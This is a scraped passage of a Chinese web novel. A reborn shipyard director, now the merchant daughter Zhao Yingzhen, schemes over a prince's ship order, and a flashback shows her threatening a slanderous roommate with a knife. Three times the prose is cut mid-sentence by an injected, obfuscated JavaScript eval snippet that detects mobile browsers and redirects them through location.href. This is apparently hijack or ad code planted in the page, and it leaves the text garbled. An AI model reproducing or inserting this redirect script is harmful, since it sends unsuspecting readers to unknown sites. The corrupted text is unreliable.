这一切都是幻觉吗?再过四天,只要再过四天,她就能得到梦寐以求的荣华富贵了啊! 她想把一切都说出来,却见赵承邦低着头,语气懊悔:“嫂嫂说的是,承邦千不该万不该中了这女人的苦肉计!我与她清清白白,不过是怜惜她的伤势,才一时鬼迷心窍……孩儿求母亲责罚!” 这下方才顺了梅氏的意,她冷哼一声,语气更显刻薄:“一个低贱的丫鬟,也妄想爬上主子的床?真是不知天高地厚。来人,把这丫鬟拖出去,杖责五十,赶出府去,永不得踏入赵家半步!” 素问心如死灰,仿佛被人抽走了最后一根救命稻草。以她这样的小身板,杖责五十哪还有命活。 她这才意识到,自己以为的两情相悦,不过是她的一厢情愿。 绝望中,她将目光投向了一直置身事外的赵莹真,跪爬到她脚边,重重磕头,声音哽咽:“四小姐,求求您……求您替我说句话!我伺候您这么多年,没有功劳也有苦劳,求您看在我尽心尽力的份上,求大夫人网开一面,饶我一命……” 赵莹真垂眼俯视着她,嘴角微微勾起。 半晌,她才缓缓福身,低垂着眼,语气淡漠:“大夫人,此事皆因我院里的婢子贪慕虚荣,才冒犯了三哥,实乃我管教不严之过。恳请您念在她与我从小一起长大的情分上,高抬贵手,饶她一命。待她领完罚,便随我陪嫁去李府,永不回赵家,也算是给她一条生路……” 梅氏刚想为难,就听一个沉稳的男声从远处传来。 “承宗兄,前面好热闹,发生何事?” 众人一时肃静,目光一齐投向声源处,只见赵家老大赵承宗和老二赵承业恭敬地跟在一个身材高大的男子身后,从前厅方向缓步踱来,见她们一行人在此处,两兄弟面色不虞。 赵莹真本是背对着他,闻声却福至心灵般转过头,然后浑身一僵! 零星飘雪间,来人面目俊朗,神色淡然,穿着一袭红色锦缎长袍,下摆处用金线铺张地绣满仙鹤云纹,披一件银狐毛镶边的玄色大氅,在漫天雪白的映衬下,显得格外夺目,贵气逼人。 赵莹真屏住呼吸,心跳如擂。她的目光紧紧锁在对方身上,但对方的视线只是无波无澜地扫过她的脸,停顿,随即淡漠地转开。 这是昭朝四皇子,周冀。 忍不住去看他被锦袍遮住的长腿。 原来此时此刻,他尚且健康无恙,没有双腿尽废,亦没有沉疴难愈。 赵莹真自己都没有意识到,在四下俱静的时刻,唯有她一人露出不合时宜的淡淡微笑。 周冀。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163373|165069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的名字在她的舌尖辗转,吞不得,吐不出,勾连无数心绪—— 赵莹真二十一岁时,作为船厂新员工参加文化培训,在华夏船舶厂的历史陈列馆中第一次瞻仰周冀的画像。 讲解员调侃,这是华夏造船厂草创之时的最大金主,乃是昭朝四美之一,可惜英年早逝。 那时的赵莹真,由于受到船长夫人的赏识,刚结束了三年四处漂泊的跑船生涯,被介绍到华夏造船厂当一名普通装配工。那段关于他的介绍,她字都认不全,千言万语,最终只能汇成一句粗鄙的“牛X”。 再后来,赵莹真白日在车间里挥汗如雨,晚上挤在狭小的四人宿舍挑灯夜战,硬是凭着毅力专升本,又考上在职研究生,并一举拿下船舶工程师资格证,从一名普通工人,一步步升任管理层,在权力的漩涡中机关算尽,步步为营,最终成为华夏船舶厂的厂长。 只是,每走到一个人生的节点,她便会来陈列馆转一转。 关于周冀的正传野史,那些年里她不知看了多少。不少史学家认为,如果周冀能够继承大统,或许会颠覆昭朝乃至整个华夏的结局。 在信奉闭关锁国的自大年代,周冀是唯一一位支持开放海关,与世界通商的当权者。被封为靖南王后的短短三年,周冀顶住朝廷压力,开放自己属地中泉州和明州两个口岸,并鼓励沿海商人与高丽、东瀛通商。 明州地方志记载,景元三年春,刚被封为靖南王的周冀,在被派去平定沿海倭寇之乱的途中,突然现身长海镇,于并不出名的华夏造船厂分三批订下两百条福船,工期两年,光是前期三成订金就让华夏造船厂从籍籍无名一跃为明州第一大造船厂。 那时的周冀,已经结束与海寇集团的最初几次战斗,对对方的实力更为了解,深知以明州府仅有的官营旧船无法与之抗衡,才托付华夏船业这样的民营船厂造船。 然而,他已经为此付出双腿残疾的代价,身体遭受巨大的重创。 两百条福船于景元五年夏交付,按照周冀的设想,应全部投入明州水师的训练中,用于海上作战。可惜在一年后的冬天,他便病逝于回京途中,年仅二十四岁。 当时,整个昭朝都陷于北方匈奴入侵的混乱中,无暇顾及南方水师,缺乏周冀提供的资金来源,明州水师停摆,明州和泉州封关,直到十年后,改朝换代,沿海倭寇再度入侵,这批福船才被重新启用,但由于船体老化,维护方式落后,仅在历史的长河中昙花一现。 上一世的最后一天,刚接受任命,赵莹真便来到陈列馆。 从船厂退休的义务讲解员,还是当年那位,微笑称呼她为“赵厂长”,见她再次走到那幅泛黄卷角的画像前,感叹道:“若是他知道华夏船厂辉煌延续百年,也会感到十分骄傲吧。” 赵莹真第一次伸出手,抚上画卷一角,露出真心实意的微笑:“嗯,所以我不能辜负这份骄傲。” “强吾民,富吾国,心向九天,志在环球……” 周冀的遗书,成为赵莹真自二十岁始的座右铭。 十几年风雨打磨,她原以为自己早已不是那个流氓一般的小女工,面对画像上的他,也少了几分澎湃,却不懂,为何此刻,在同一个世界,见到真实鲜活的他,又一次涌起二十一岁时的莽撞情绪。 赵莹真只觉得心已经随着他奔到无垠荒野,风雪寂寂,天地苍茫,他的目光跨越百年,烧灼在她的灵魂之上,让她于极寒之地,放任一场烈火燎原。 只是为什么,本该于明年才出现在长海镇的他,提前到来此处? 4. 家业之争 “莹娘,这事我们从后再议。” 当着客人的面,梅氏怕赵莹真有损赵家颜面,不好为难,满脸慈爱地托起赵莹真的手臂。 另一边的齐氏十分有眼色,见客人问的是自己的丈夫,掩面福身代答道:“公子有所不知,今日四妹妹院里捉出个贪墨的下人,赵氏家风严谨,向来容不得半点沙子,妹妹一时心软,正替那恶仆求情,让公子见笑了。” 一句话既明夸了赵家门风高洁,也暗贬了赵莹真妇人之仁,还掩盖了三弟的丑事,这句话,让同为人精的赵莹真挑眉。 周冀的目光还停留在那女子莫名翘着的嘴角,心想,这哪是求情,分明是场戏罢了。但介入他人家事已是不妥,闻言,周冀只能抱歉道:“原是秦某唐突,不知老夫人正在处理家事,冒昧打扰,实在失礼,还望夫人海涵。” 他朝梅氏一拜,转身离去,身后跟着赔笑的赵承宗和赵承业。 秦?赵莹真侧身站在梅氏身边,偷偷打量谎称自己叫“秦希从”的周某人,不经失笑。 姓随母族,冀乃希从,真是好名字。 赵莹真一直以为,周冀急匆匆赶来明州,又思虑不周地筹集战船抗击海寇,最终才落得重伤下场,却未料对方隐姓埋名,提前半年就来到长海考察。 难怪景元二年,地方志里没有任何关于四皇子周冀的描述。 被人打断,园中人似乎都没有了看戏的兴致。 素问晕死在地上,肿起的额头鲜血四溢,有碍观瞻,被齐氏支使两个小厮从赵莹真腿边拖远,赵莹真瞧见她微微挣扎一下,又了无生气。 可不能真死了。 赵莹真思索片刻,本想再求梅氏轻饶,没想到在一边低头不语的赵承邦突然站出来,跪倒在梅氏面前,心虚恳求:“母亲,这、这事,孩儿亦有失检之过,素问年龄尚小,是非不分,恳请您饶她一命,随妹妹一同出府,也……也算为小侄儿积福。” 好一个借花献佛。 他说罢,低头不敢直视梅氏。赵莹真眯眼打量他,内心生出异样滋味。 梅氏对这一切本就心知肚明,于是叮嘱自己的贴身婢女传令,罚到素问知错即可。 语罢,傲慢地瞟了赵莹真一眼,颇有几分让她领赏的意思,偏偏赵莹真装傻,恭敬道谢的样子也不装,就这么站在一旁看她们母子俩演戏,又恢复了柔弱讨嫌,没有半分礼教的模样。 梅氏内心存着几分对赵承邦这逆子一事无成的气恼,便一言不发地带着齐氏一行人往院里去,连让赵承邦起身都忘了。 此时无声胜有声,众人不敢提醒的小心样子,梅氏决然的背影,都犹如一记响亮的耳光,狠狠地打在赵承邦的面颊上。 热闹散去,花园中只剩赵承邦与赵莹真二人。 赵莹真也不离开,低头看向那条结冰的溪流,表层被小厮用热水浇透,化开一层,又有逐渐冰冻的趋势。 正如这赵家,虽然有心做实事,却因为贪心不足,积重难返,所作所为不过是那杯水车薪的热水,化了表层,不动筋骨。 赵承邦面色惨白,颓唐起身,垂头丧气:“莹娘,你是不是也觉得我烂泥扶不上墙?” 是的。 如果你不是梅氏的掌中宝心头肉,我甚至不屑于利用你。 但面上,赵莹真捏了把嗓子,脉脉安慰:“怎么会?相反,我一直觉得三哥才华横溢,更何况,父亲都夸过你有慧根,只是……” 夸一句差点倒半口气。 “只是什么?”赵承邦没想到这个存在感极低的妹妹,会如此欣赏他,微微一愣。 “只是,小妹想,三哥、三哥可能是没有认清自己真正想要的……”又说了一句,赵莹真便垂下头,掩着唇,装作失言的样子,不再启齿。 赵承邦心头震动,眼中浮起一丝光芒:“你倒是说说,三哥我想要什么?” 赵莹真慌乱地往四下看一眼,见无人,才嗫嚅道:“父亲年事已高,大哥二哥又打理家业多年,未来船业必少不了他们的份,可三哥的远见卓识,并不在大哥二哥之下,岂、岂甘心拱手……” 一时气息急促,脆弱的嗓子又开始咳嗽。 若是赵承邦真的无心家业,又怎会动了挑拨大少二少关系的心思?这样贪婪轻浮,眼高手低的纨绔,赵莹真一眼便能看透。 赵承邦听到此处,已全然明白赵莹真的意思,鼻头一酸,差点想狠狠地振臂高呼! 知己啊!高山流水觅知音! 这么多年,赵家上上下下都不把他当回事,两次落榜后,父亲就对他不闻不问,今日又被后院里的人撞见这等丑事,怕是母亲都会对他大失所望。 没想到,竟然还有一位知己,他的好妹妹,藏在院子里,这么多年,依然对他信心满满! 只是…… “莹娘。”赵承邦平复心情,又露出郁郁不得志的神色,“我是真心想为赵氏船业出一份力,以前……倒还有可能,可如今,哎,如今却全无希望了……” 说着,他缓缓抱住头,痛苦低吼,道出原因:“前两日,父亲已经放话,谁若是能拿到那位贵客的订单,便由谁继承家业!” 赵莹真顿时睁大眼睛,不受控制地打了个激灵,一种浓烈的兴奋感从她的尾椎处向上攀升。 什么叫,天助我也? 只是此时此刻,她不得不压住内心那只要跳出笼子的脱兔,装作不知情的样子,疑惑道:“贵客?” “就是刚刚那位秦公子。” 赵承邦忍不住回忆父亲让他们三人去议事的那日,正是休沐日,而自己屋檐下停了只吵闹乌鸦。 正厅里,父亲坐在主位,由叔父见证,向他们公布竞争新一任当家人的方式。虽然允许他也参与其中,却相当于明明白白告诉他,你做好你那芝麻官,家业与你半毛钱关系都没有! “现在,大哥二哥都与他打得火热,我一个从来没接触过家业的人,又怎么能和他们抗衡?也许当初,就不该求仕途……” 赵承邦肠子都悔青了,做官碌碌无为,家业拱手让人,混到该成家立业的年纪,却还是一事无成。 “三哥不必懊恼。”赵莹真露出一个知心微笑,“不妨说说那笔订单的要求,让小妹我替三哥解忧?” 作为熟知这段历史的人,赵莹真知道,周冀最终并没有选择赵氏船业,也就没有选择兄弟三人中的任何一个,这笔订单,反而成为压死赵氏的最后一根稻草。 如果说这样做的好处是避开了赵氏败絮其中偷工减料的坑,那么坏处就是耽误了好几个月的工期,直到明年上半年的第一次战斗也没有几条可以用的船。 正因为无船可用,第一次海战在周冀的顽强抵抗下只算是堪堪险胜,却付出死伤惨重的代价,给海防官兵留下了不可磨灭的心理阴影。 而现在,她会画图,会造船,会管账,会用人,却连赵家船业的边都挨不到。 赵莹真倒想冲到周冀面前毛遂自荐,可是对方信不信是一回事,大房二房会不会把她打死又是另一回事。 偶像终究是偶像,只可远观,亵玩……赵莹真目前还没这个胆量与能力,去赌周冀的人品。 赵莹真这些天一心想着解决知府恶霸的事,却没想到现在就有个送上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163374|165069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门来参与赵氏船业经营的机会。 她看着眼高手低的赵承邦,漫无边际地想,要是她穿成了赵承邦,这短短几日,且不说推翻大哥与二哥的掌控,至少能重新把他爹的关注和梅氏的宠爱牢牢抓在手里,然后对赵氏船业徐徐图之。 内心有些不是滋味,干,这重男轻女的世界! 赵承邦本就有种死马当活马医的心态,便告诉她那公子带来了一百条福船和三百条漕船的订单,要求工期在一年内完成。 赵莹真睁大眼睛,装作不知情的样子感叹:“真没想到,秦公子年纪轻轻,口气这么大。” 心里却想,为何和之后在华夏船业下的订单数量并不一致? “可不是,四十万两白银啊。”赵承邦眼神黯淡。 按照当时的市价,一条福船需要三千两白银,一条漕船需要三百两白银,而一户人家一年到头的收入仅仅三四十两白银,他们赵氏船业,巅峰时期家资不到十万两,周冀随手就能出手数倍。 如此之多的银两,恐怕并非依靠日渐衰微的皇室拨款,而是周冀的母族秦家支持。 赵莹真回忆起关于秦家的历史,内心唏嘘。 秦家本是依靠丝绸发家的昭朝首富家族,先后涉足茶叶、香料等多个领域的海外贸易,甚至十分有远见地在周冀死后扶持新朝皇帝弃暗投明,却遭到当权者的猜忌,最终死于莫须有的叛国之罪。 伴君如伴虎,谁能知君意。大少爷和二少爷此刻怕是都对稳操胜券的订单欣喜若狂,谁会知道周冀不过是考察一番,最后来了个倒打一耙。 赵莹真缓缓踱步,思量片刻:“秦公子大手笔出价,想必是要质量上乘的新船,明州雪灾,原料价格昂贵,工人们的工价也理应要提高,工期又如此紧……” 她顿了顿,深沉地想,这几乎是不可能靠赵氏船业手下两百匠人和梅氏林业那一片江南林场能完成的工程。依赵承业与赵承宗的性子,在账本一事里产生的龃龉,本不足以让他们在巨额订单前站到对立面,反倒是赵明堂的游戏规则,逼着他们成为竞争对手。 不愿分他人一杯羹,也没法与兄弟默契合作,那就只能从减少原料与苛待工人下手,虽然不清楚具体原因,但最终赵氏失去这笔订单是板上钉钉的事情。 既然所有人都盯着造船……赵莹真一瞬间有了主意。 “依我看,三哥不必去争取造船厂的事务了。”赵莹真一锤定音。 眼见赵承邦狐疑,赵莹真不紧不慢道出缘由:“因为,小妹有一计声东击西的法子,定能让三哥如愿以偿……” 赵承邦瞪大双眼,双手差点钳住赵莹真单薄的双肩。 “莹娘,你直说便是,三哥我愿意听你的!” 赵莹真垂着头后退一步,躲开那烦人的触碰,又摆出胆小的样子。 “可是,若我四日后出嫁,怕是难以帮助三哥成就大业。”赵莹真慢条斯理地说出困境。 赵承邦犯了难,要是帮赵莹真悔婚,岂不是和母亲对着干?再说,赵莹真嫁过去,也是有利于他们大房一脉的,闻言,便有些动摇。 赵莹真知他内心所想,悄悄提着嘴角,戚戚然道:“三哥,你多心了。小妹只求,若有一天我实在受不了了,三哥能帮我寻个安稳去处,至于父母之命,媒妁之言,小妹我是断不会违抗的。” 赵承邦那颗本开始动摇的心又落到实处,虚伪应承:“若真有那么一天,即使你什么也没做,三哥我也会义不容辞地帮你。” 赵莹真于是装出信任的样子,凑近赵承邦,低语几句,赵承邦则不住点头,脸上浮现出一层激动的红晕。 5. 以死相殉 本想着带秦公子在后花园边散步边拉拉家常,却没料到撞见自己家的丑事,赵承宗有些懊恼。 虽然妻子替赵家挽回了颜面,但他一看便知,是赵承邦又犯了蠢事。 他这三弟,当官当不好,当纨绔更是一败涂地。 不过,走在前面的秦公子看起来并不在意,还在和赵承业聊福船订单,这是让他内心唯一感到安慰的地方。 “我听说江南一带多产松木,”周冀步入正厅,询问赵承业,“不知赵氏福船用的材料是什么?” 赵承业回过头,和赵承宗对视一眼,两个人在对方的眼睛里看到了一样的东西。 贪婪。 赵承宗上前一步介绍:“自然是上等的松木和杉木,我们赵氏有自己的林场,货源都是专供的。” “可如今雪灾,怕是今年的树木大多会遭受冻害吧?”周冀端起茶杯悠悠抿一口,抬眼打量这兄弟二人。 比起新当家,周冀对赵明堂研究更多,却没想到对方只派两个儿子来接待他。两兄弟似乎以为他并不懂船,明明给出了不错的价钱,却还抱着糊弄的心思。 松木质地偏软,易受海水腐蚀,不是做海船的料。这边让他花钱造船,过了不久又等他花钱来修,一年一小修三年一大修,这生意真是世世代代无穷尽也。 “秦公子放心,松木和杉木能抗冻害,我们林场也有专人日日除雪,只是如今天寒地冻,若要尽快开工,恐怕每艘船造价会高一些。” 赵承宗没有透露的是,为了防备赵承业,他已连夜传信让梅氏林业去外地囤积松木和杉木,等到开工之时,就不愁原材料的供给。 “高多少?”周冀之前与赵明堂交的底分明是一百艘福船和三百艘漕船一共四十万,但今天赵承宗已经数次提起涨价的事,坐地起价让周冀心生厌烦。 “每艘只需多一百两,算是工人们的炭火费和原材料的仓储费。” 一共则是多了四万两银子,周冀咬咬牙,瞥向站在赵承宗身后的赵承业。 对方轻轻摇摇头。 周冀沉下脸。 昨天夜里,周冀宿在赵家,赵承业深夜登门拜访,说只要周冀愿意和他签约,他有办法以三十万的价格拿下这笔订单。 一个当家要涨价,一个当家要降价,赵氏船业的阴阳嘴脸怎么能让要买船打仗的周冀放心托付。 周冀和两兄弟打了两天太极,没有获得多少有价值的信息,无心恋战,决定打道回府。背地里,他的暗卫在府内布下天罗地网,只等他做巧取还是豪夺的决定。 临出门前,周冀的脑中突然浮现出女孩苍白病弱的笑容,联想到昨日自己在花园里躲清静,碰巧听见她卑微吹捧着赵家那个毫无出息的三少爷,明明瘦弱的身子骨都冻得摇摇欲坠,还要摆出谄媚颜色,自以为能掺和到男人的事业里去挑拨离间。 一副十分愚蠢又很好欺负的样子。 今天再次听到她的声音,是莫名其妙地替一个贪她银子的丫鬟求情,看向他时淡淡笑意,仿佛在问,有没有被我骗到? 无聊。 在周冀的眼中,女子大概只有一种身份,就是可以利用的砝码,至于其他,成不了什么气候。 譬如他的母妃入宫前曾有恋人,却因秦家寻求皇权庇护,被送进宫里做摆设,高墙内的郁郁寡欢保佑了高墙外的荣华富贵。 而他的皇姊皇妹无一例外,都成为和亲的筹码,待到出嫁年龄便远走他乡。 后宫里的暗流涌动,周冀并非没有听过,但在他眼里,都是些小打小闹的事情,和前朝的腥风血雨比起来不值一提。 跨出门槛,周冀随口问:“赵家有几位小姐?” 他一时忘了自己不过是个和赵家地位差不多的商人,问完才觉得失言。 话题变得太快,两兄弟皆是一愣,赵承业先转过脑筋来:“就只有一位,四妹莹娘,年方二八。” 他还想再说点生辰八字,赵承宗赶忙接上话头:“小妹已许给知府家的二公子,婚期就定于四日后,到时候还请秦公子来喝杯喜酒。” 他怕秦公子动了心思又得不到,会影响这桩大生意。 周冀听出赵承宗的画外音,似笑非笑地睨了他一眼。 商贾出身的庶女,也配和他相提并论? 周冀才二十出头,洁身自好,无心婚配,但京城里,光是给他递过信儿的名门闺秀,都已不下数十位,如今他的随口一问反倒让赵承宗如临大敌,实在是可笑至极。 “盛情难却,秦某就恭敬不如从命了。” 他神情冷淡,懒得掩饰内心的羞恼,跨上那架造价不菲的紫檀马车,将两兄弟甩在身后扬长而去。 “这两天,可有什么消息?”周冀强迫自己转移注意力。 化身车夫的暗卫坐在前面,恭敬递上一张图纸。 赵家虽占着个长海首富的名头,但这些年在赵承宗和赵承业的经营下已经日渐衰微。周冀本打算,若是能谈成,就花钱买轻松,若是不能谈成,就拿走赵家福船的图纸,找个好控制的船厂代工。 如今赵家当家跟他耍滑头,他自然也不与对方客气。 周冀接过暗卫从赵家密库里复刻而来的福船图纸,细细打量,不禁叹服。 福船多桅,高大如楼,依靠风力推行。底尖上阔,首昂尾髙,因此装载火药与炮筒时,乘风下压,能够以俯视之姿击打敌人。舷侧板用三层木叠合,底板用二重木叠合,坚立如垣。船底采用大体积、多隔舱设计,当福船遭到部分撞击时,能够避免对整船航行的影响。 近年来,东海沿海一带的海寇动乱频繁,倭国浪子和沿海流氓互相勾结,盘踞在近海岛屿,对富庶的沿海地区虎视眈眈,部分壮大的团伙妄图自立为王,公然反抗昭朝统治。 随着海寇团伙武器装备的升级,明州府、泉州府等地海防日渐薄弱,近海渔民屡遭劫掠,百姓终日提心吊胆,生活在水深火热之中。明州府已上书数次,寻求中央支援。 今上年事已高,无心政事,前两年为求新气象,改国号景元。即便如此,他的身体还是肉眼可见地衰弱下去。周冀的四个兄弟个个狼子野心,不愿在父皇即将立储之时离开京城半步。 因此,当父皇打算派一位皇子来沿海平乱时,大家纷纷推举最不可能登临大统的周冀离京。 周冀并非对皇位无所图谋,只是地位在皇子之中十分尴尬。 他的母亲秦氏虽为六妃之一,却久不受宠,他的母族秦家是京城首富,却无族人有要职在身,与那些背后有宰相、将军撑腰,或是母妃深受宠爱的兄弟们相比,他的背景乏善可陈,也最不受。 随着太子监国,秦家的态度开始明朗。在家族的授意下,周冀不得不支持太子,而太子也正是此次力荐他前往沿海平乱的主导者。 周冀并非毫无准备,早年父皇刚登基时,他曾随舅舅和外祖父出海经商,足迹遍及东瀛、琉球等地,对海运颇有了解。后来北境匈奴来犯,他又随太子出征,担任副将,积累了不少排兵布阵的军事经验。 然而现实不如人意,尽管他被父皇派去平乱,却徒有一个“巡按”的虚名,手中并无实权。所谓的四十万两白银,不过是他用来诓住赵家兄弟谈条件的手段,实际上,中央拨款的数额仅有一万两,连五艘福船都买不起。 太子虚与委蛇地给他大办践行宴,坐在京城最豪华的酒楼里与百官把酒言欢,背后却卡着钱眼,一毛不拔。 周冀得知此事心中冷笑,这哪里是平乱,分明是让他来当个替死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163375|165069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼,心眼如针一般小的人,到底有什么地方值得他和他的家族追随? 临行前,周冀收到关于明州雪灾的情报。他临时决定借力秦家,再筹集十万两白银,垫付一百条福船的三成订金,先糊弄过去。 十年一遇的雪灾,带来的后果必然是物资的极度匮乏,海面结冰尚能抵挡一阵匪寇骚乱,但周冀预测,不出二月,海冰化冻,对方就会变本加厉卷土重来,明州府必将与穷途末路的海寇团伙有一场恶战,届时再准备战船训练水兵,怕是来不及。 他必须先下手为强。 周冀将图纸收进袖口,撑着头,倚在软垫上懒洋洋地听暗卫汇报赵家的情况。 “……赵家如今的重心都放在造船厂里,船厂雇佣两百位熟练工匠,年产量可以达到四百只漕船,但是,”钟浮白顿了一下,“赵家这两年的账目有问题,原材料的品质也有所下降,而且为了这笔订单,现在赵家大少和二少暗地里斗得厉害,连三少都想插一手,要尽快拿到好船,恐怕不容易。” “我们也调查了别家船厂,有家叫华夏船业的船厂,规模虽然小,但当家人是从赵明堂手下出去的,据说也能做福船,唯一的问题是工期必须要延长到两年才能接。” 周冀的手臂靠在车窗上,手指轻敲窗沿,袖口的仙鹤金纹若隐若现,似在沉思。 “赵承邦是走仕途的人,为什么说他也想插一手?” 钟浮白想了想,道出前因:“两个时辰以前,赵承邦与一丫鬟偷情,那丫鬟似乎是四小姐的贴身婢女,被赵家大夫人撞见,狠狠罚了一顿。事后,赵承邦与四小姐在后花园站了一会,属下隐约听见,赵明堂似乎将这笔订单,作为竞争继承权的条件,告诉三个儿子,谁能拿到这笔订单,谁就能接管赵氏。” 他话音刚落,就听车厢里传来周冀的轻轻嗤笑。 那看来要让他们大失所望了。 如果钟浮白所听非虚,那周冀便能理解,面对这笔订单,赵家四子为何表现出完全不同的态度。 嫡长子赵承宗,掌握核心技术,又有梅氏林业做靠山,心中对这笔订单十拿九稳,才会站在梅氏的立场,再从他这“冤大头”手里捞上一笔。 次子赵承业,掌管船业经营,谈生意鞍前马后是他,最后却落得替他人做嫁衣的境地,必然不甘心,不如趁手上还握着财权,压缩赵氏的利润替自己把订单争取到手。 至于赵承邦和赵莹真,都是被排出竞争之外的人,他们的失败不会有任何损失,成功却能一战翻身,当然愿意联手一搏。 只是……送她的丫鬟给赵承邦? 周冀不知自己已经想歪许多,但直觉告诉他,这个女人是个心狠的角色。 车向前行,碾过一片碎石。 钟浮白被那一声难以揣测的笑引走几分心神,等他回过神,却见前方不远处冲出一个老头,疯疯癫癫地撞向他们的马车。 “求大人替小民之女申冤!求大人替小民之女申冤呐!”声嘶力竭的哭喊在寂寥的官道上显得分外瘆人。 "让开!"钟浮白厉声喝道,却见那衣衫褴褛的老者直扑马车而来,浑浊的眼里闪烁着令人心悸的疯狂。 “求大人替小民之女申冤!老身愿以死相殉!” 见躲不过,钟浮白猛拉缰绳,骏马嘶鸣,车厢剧烈颠簸,周冀一个踉跄,伸手撑住厢壁,才稳住身子,就听见"砰"的一声闷响,似乎撞上什么东西。 "怎么回事?"周冀抽出佩剑,声音里带着怒意。 他掀开车帘往下看,就见钟浮白面色黯淡,而一个骨瘦如柴的老人,七窍流血倒在马车之下。 “死了。”钟浮白收回探鼻息的手。 雪还在下,满地洁白,红分外显眼,扎得周冀瞳孔一缩。 6. 睚眦必报 赵莹真回屋时,素心尚未回府。 素问受完罚,被人扔到偏房里趴着,动弹不得,伤口疼得直叫唤。见到她,又咬紧牙关,态度也不敢像前几日那样蛮横。 “小姐……” 若不是有原主的记忆,论赵莹真本人的记仇程度,对她的惩罚,也许就到此为止,但是偏偏,此人与原主母亲的死也脱不了干系。 弄不死对方报仇血恨,还得被迫让对方敲骨吸髓,原主的痛苦就像卡在喉咙里的鱼刺,拔不出,咽不下。 原主曾经对素问不赖,而让赵莹真一直无法理解的是,为什么有人什么也没有做,却能让对方恨之入骨。 前世赵莹真靠着专升本从外包转正,拿到船厂正式编制的那天,她拿出为数不多的积蓄,请三个同为外包的室友一起吃了顿饭。 大家当晚开开心心恭喜赵莹真转正,第二天,她的床上多了一条男人的内裤。 流言四起,生活乏味的底层男女,对这样的花边新闻总是有超乎想象的渲染欲和传播欲。 赵莹真这个名字,不到一天,就被刻在淫d的耻辱柱上。 还有人指名道姓,说赵莹真转正的机会,全靠和车间主任有一腿,那么肥大的内裤,一定属于车间主任那个又肥又丑的老男人。 一条无主的内裤,就能将当时年仅二十岁的赵莹真卷入黄谣的漩涡,差点永不能翻身。 可赵莹真偏就不是个忍气吞声的主。 当天,她根据内裤的细节和放置时间点,推测出幕后主使。 当晚,那个赵莹真早已记不清姓名的室友回到寝室,当着其余两个不敢吭声的室友的面,赵莹真狠狠扯住对方的头发,用手肘将人反手压在墙上。 “啊啊啊——” 在她发出让人头皮发麻的尖叫那一刻,一把长刀准确无误地贴着她的耳侧插进墙灰里,发出铮然的声响。 下一秒,工厂宿舍定点熄灯,整个宿舍区陷入黑暗之中,远处传来其他寝室的谈笑声,而赵莹真的寝室却只剩死寂般的啜泣。 “你,你想干什么?不要乱来!”那个女孩也很年轻,被刀贴着脸,浑身颤抖。 “进入船厂之前,我整日在海上跑船。”赵莹真如鬼魅般低语,“船上什么人都有,犯了事的,没法回陆地的,但只有一种人会死,就是多嘴多舌的人。” “他们会被乱砍几刀,扔进海里,眼睁睁看着自己溺亡,然后被食肉的鱼分尸。” “莹真……”有人在她身后小声劝阻,“差不多就行了,我们都知道你是清白的……” 虚伪。 “对,对不起!我,我误会了……”始作俑者还在嘴硬。 赵莹真不理,推开门,她们寝室在女生宿舍的中间层,对面亦是已经一片漆黑的男生宿舍,她把那女孩推到走廊上。 “不是说我是清白的吗?”赵莹真发狠,“那就告诉所有人啊!” “我不介意回去跑船,再次成为那些人,就看你,惜不惜命了。” 那女孩彻底怂了,张口求饶:”是我,我误会了,对不起,赵莹真。” “不够响!”赵莹真拿刀尖抵住她的脖子,平静地威胁:“我念一句,你喊一句,要是喊不到对面能听见的程度,我就陪你在这耗一晚上。看看是你喊得响,还是我刀快。” “我,赵莹真的室友。”她一个字一个字地咬。 “我,赵莹真的室友!”赵莹真的室友带着哭腔,喊得声嘶力竭。 隔壁有寝室打开门,探头探脑,看清了情形,又吓得急急关上门。 “昨晚趁赵莹真不注意,把一条男士内裤故意扔在她床上。” “昨晚趁赵莹真不注意,把一条、一条男士内裤故意扔在她床上!” 对面也传来躁动,不少窗帘和窗户被拉开,在没有月光的阴沉晚上,女生宿舍变成了一个巨大的喇叭。 “作为她的室友,我嫉妒她,所以才用这个方法污蔑她。” “作为她的室友,我嫉妒她,所以才用这个方法污蔑她!” 女孩已经开始痛苦流涕。 “我要当着全工厂的面,向赵莹真道歉,赵莹真没有做错任何事!” “我要当着全工厂的面,向赵莹真道歉,赵莹真、赵莹真没有做错任何事!”最后一句,女生已是咬牙切齿。 赵莹真收回刀,松开扯住女孩头发的手,对方却怕得腿软,跪坐在地上求饶:“对不起,对不起,我以后再也不敢了。” 十分钟后,宿管闯进她们寝室,问是谁带了管制刀具进来。 赵莹真无所谓地把合上的长刀往规劝她的那个理中客床上一扔,“不是我。” 对方吓得缩进床里。 